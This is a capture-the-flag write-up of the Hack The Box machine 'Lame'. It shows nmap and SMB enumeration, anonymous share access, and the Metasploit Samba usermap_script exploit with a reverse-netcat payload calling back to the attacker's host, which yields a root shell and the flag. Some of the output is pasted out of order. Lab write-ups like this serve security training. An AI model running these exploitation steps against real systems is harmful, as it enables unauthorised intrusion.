HackTHeBox- Lame by Keenan Williams

**I start with a NMAP. I used -Pn because my initial scan did not go through so I had to get an aggressive scan going.**

# Nmap 7.91 scan initiated Sat Oct 30 16:42:48 2021 as: nmap -A -T5 -sC -sV -Pn -oN intialscan.txt 10.10.10.3

Nmap scan report for 10.10.10.3

Host is up (0.0092s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

|\_ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

| STAT:

| FTP server status:

| Connected to 10.10.14.37

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| vsFTPd 2.3.4 - secure, fast, stable

|\_End of status

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

| ssh-hostkey:

| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

|\_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Host script results:

|\_clock-skew: mean: 2h00m10s, deviation: 2h49m45s, median: 8s

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| Computer name: lame

| NetBIOS computer name:

| Domain name: hackthebox.gr

| FQDN: lame.hackthebox.gr

|\_ System time: 2021-10-30T16:43:16-04:00

| smb-security-mode:

| account\_used: <blank>

| authentication\_level: user

| challenge\_response: supported

|\_ message\_signing: disabled (dangerous, but default)

|\_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sat Oct 30 16:43:43 2021 -- 1 IP address (1 host up) scanned in 55.75 seconds

**I notice the smb ports are open so I chose that for my vein of attack.**

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

**I enumerate SMB a bit further with a another nmap scan + smbmap**

─$ nmap -A -T5 -sC -sV -p445,139 -Pn -oN smb.txt 10.10.10.3

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-31 13:56 EDT

Nmap scan report for 10.10.10.3

Host is up (0.010s latency).

PORT STATE SERVICE

VERSION

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup:

WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup:

WORKGROUP)

Host script results:

|\_clock-skew: mean: -5h17m15s, deviation: 2h49m43s, median: -7h17m16s

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| Computer name: lame

| NetBIOS computer name:

| Domain name: hackthebox.gr

| FQDN: lame.hackthebox.gr

|\_ System time: 2021-10-31T06:39:51-04:00

| smb-security-mode:

| account\_used: <blank>

| authentication\_level: user

| challenge\_response: supported

|\_ message\_signing: disabled (dangerous, but default)

|\_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 52.26 seconds

***smb enumeration***

──(root kali)-[/home/keenan/Desktop/HTB/Lame]

└─# smbmap -H 10.10.10.3 2 ⨯ 1 ⚙

[+] IP: 10.10.10.3:445 Name: 10.10.10.3

Disk Permissions Comment

---- ----------- -------

print$ NO ACCESS Printer Drivers

tmp READ, WRITE oh noes!

opt NO ACCESS

IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))

ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))I

**SMBCLIENT was having difficulty connecting. After some googling a quick solution was found since this is running samaba 3.0.20 I can use the following command for smb**

**accesss**

**“smbclient -N //10.10.10.3/tmp --option='client min protocol=NT1'**

──(root kali)-[/home/keenan/Desktop/HTB/Lame]

└─# smbclient -N //10.10.10.3/tmp --option='client min

protocol=NT1' 1 ⚙

Anonymous login successful

Try "help" to get a list of possible commands.

smb: \> dir

. D 0 Sun Oct 31 06:43:52 2021

.. DR 0 Sat Oct 31 02:33:58 2020

distcc\_e456e36d.stdout R 0 Sat Oct 30 20:29:33 2021

orbit-makis DR 0 Sun Oct 31 06:25:31 2021

distcc\_e456e36d.stderr R 57 Sat Oct 30 20:30:29 2021

distccd\_e456e36d.o R 0 Sat Oct 30 20:29:33 2021

linpeas.sh AR 631750 Sat Oct 30 20:36:47 2021

.ICE-unix DH 0 Sat Oct 30 16:39:29 2021

vmware-root DR 0 Sat Oct 30 16:39:50 2021

.X11-unix DH 0 Sat Oct 30 16:39:54 2021

gconfd-makis DR 0 Sun Oct 31 06:25:31 2021

.X0-lock HR 11 Sat Oct 30 16:39:54 2021

show R 0 Sat Oct 30 20:52:52 2021

distccd\_e456e36d.i R 10 Sat Oct 30 20:29:33 2021

5564.jsvc\_up R 0 Sat Oct 30 16:40:31 2021

vgauthsvclog.txt.0 R 1600 Sat Oct 30 16:39:28 2021

7282168 blocks of size 1024. 5385828 blocks available

smb: \> get vgauthsvclog.txt.0

Login successfull but nothing seems to be here

**I then use searchsploit to find an exploit**

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 52.26 seconds

┌──(keenan㉿kali)-[~/Desktop/HTB/Lame]

└─$ searchsploit samba 3.0.20

------------------------------------------------------------------------------------------------------------------------------------------------------------

---------------------------------

Exploit Title | Path

------------------------------------------------------------------------------------------------------------------------------------------------------------

---------------------------------

Samba 3.0.10 < 3.3.5 - Format String / Security Bypass |

multiple/remote/10095.txt

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution

(Metasploit) | unix/remote/16320.rb

Samba < 3.0.20 - Remote Heap Overflow | linux/

remote/7701.txt

Samba < 3.0.20 - Remote Heap Overflow | linux/

remote/7701.txt

Samba < 3.6.2 (x86) - Denial of Service (PoC) |

linux\_x86/dos/36741.py

**THIS exploit can be done via Metasploit**

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution

(Metasploit) | unix/remote/16320.rb

msf5 exploit(multi/samba/usermap\_script) > options

Module options (exploit/multi/samba/usermap\_script):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOSTS 10.10.10.3 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse\_netcat):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 10.10.14.37 yes The listen address (an interface may be specified)

LPORT 443 yes The listen port

**After confiming the settings I did manage to get a shell.**

Exploit target:

Id Name

-- ----

0 Als

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

initrd.img.old

lib

lost+found

media

mnt

nohup.out

opt

proc

root

sbin

srv

sys

tmp

usr

var

vmlinuz

vmlinuz.old

whoami

root

cd ..

ls

Desktop

reset\_

root.txt- **And here is the flag.!!!!**